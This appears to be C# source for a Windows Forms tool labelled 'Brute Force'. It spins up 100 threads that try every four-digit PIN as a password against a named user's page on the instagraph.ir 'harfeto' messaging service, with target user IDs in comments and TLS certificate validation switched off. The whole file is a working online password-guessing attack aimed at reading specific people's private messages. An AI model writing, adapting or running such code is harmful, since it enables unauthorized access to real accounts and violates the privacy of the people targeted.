Brute Force

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using MetroFramework.Forms;
using System.Net;
using System.Threading;

namespace TeamMT_FirmFinder
{
    public partial class Form1 : MetroForm
    {
        public Form1()
        {
            InitializeComponent();
            ServicePointManager.Expect100Continue = true;
            ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;

            ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };

            this.FormClosing += delegate
            {
                Environment.Exit(Environment.ExitCode);
            };

        }
        int firstdig = 0, seconddig = 0, thirddig = 0, fourthdig = 0;

        private void button1_Click(object sender, EventArgs e)
        {
            for (int i = 0; i < 100; i++)
            {
                new Thread(() =>
                {
                    TryPassword();
                }).Start();
            }
        }

        private string GetPassword()
        {
            string value = "0";
            this.Invoke(new Action(() =>
            {
                if(firstdig == 9 && seconddig == 9 && thirddig == 9 && fourthdig == 9)
                {
                    value = "0";
                }
                else
                {
                    if (fourthdig == 9)
                    {
                        if (thirddig == 9)
                        {
                            if (seconddig == 9)
                            {
                                if (firstdig == 9)
                                {

                                }
                                else
                                {
                                    firstdig++;
                                    seconddig = 0;
                                    thirddig = 0;
                                    fourthdig = 0;
                                }
                            }
                            else
                            {
                                seconddig++;
                                thirddig = 0;
                                fourthdig = 0;
                            }
                        }
                        else
                        {
                            thirddig++;
                            fourthdig = 0;
                        }
                    }
                    else
                    {
                        fourthdig++;
                    }
                    value = firstdig.ToString() + seconddig.ToString() + thirddig.ToString() + fourthdig.ToString();
                    label1.Text = value;
                }
            }));
            return value;
        }
        private void TryPassword()
        {
            while (true)
            {
                string pass = GetPassword();
                if (pass == "0")
                {
                    break;
                }
                MyWebClient client = new MyWebClient();
                string upstr = "password=" + pass.ToString() + "&submit=%D9%86%D9%85%D8%A7%DB%8C%D8%B4++%D9%BE%DB%8C%D8%A7%D9%85+%D9%87%D8%A7%DB%8C+%D8%AF%D8%B1%DB%8C%D8%A7%D9%81%D8%AA%DB%8C";
                client.Headers.Set(HttpRequestHeader.ContentType, "application/x-www-form-urlencoded");
                //551688925
                //559522566
                try
                {
                    string res = client.UploadString("https://instagraph.ir/harfeto/user/559522566", upstr);
                    if (res.Contains("messagesSection"))
                    {
                        MessageBox.Show("ITS: " + pass.ToString());
                    }
                    else
                    {
                        //MessageBox.Show("NO");
                    }
                }
                catch
                {

                }

            }

        }
            class MyWebClient : WebClient
        {
            protected override WebRequest GetWebRequest(Uri address)
            {
                HttpWebRequest request = base.GetWebRequest(address) as HttpWebRequest;
                request.Timeout = 50000;
                request.ReadWriteTimeout = 50000;
                request.AutomaticDecompression = DecompressionMethods.Deflate | DecompressionMethods.GZip;
                return request;
            }
        }

    }
}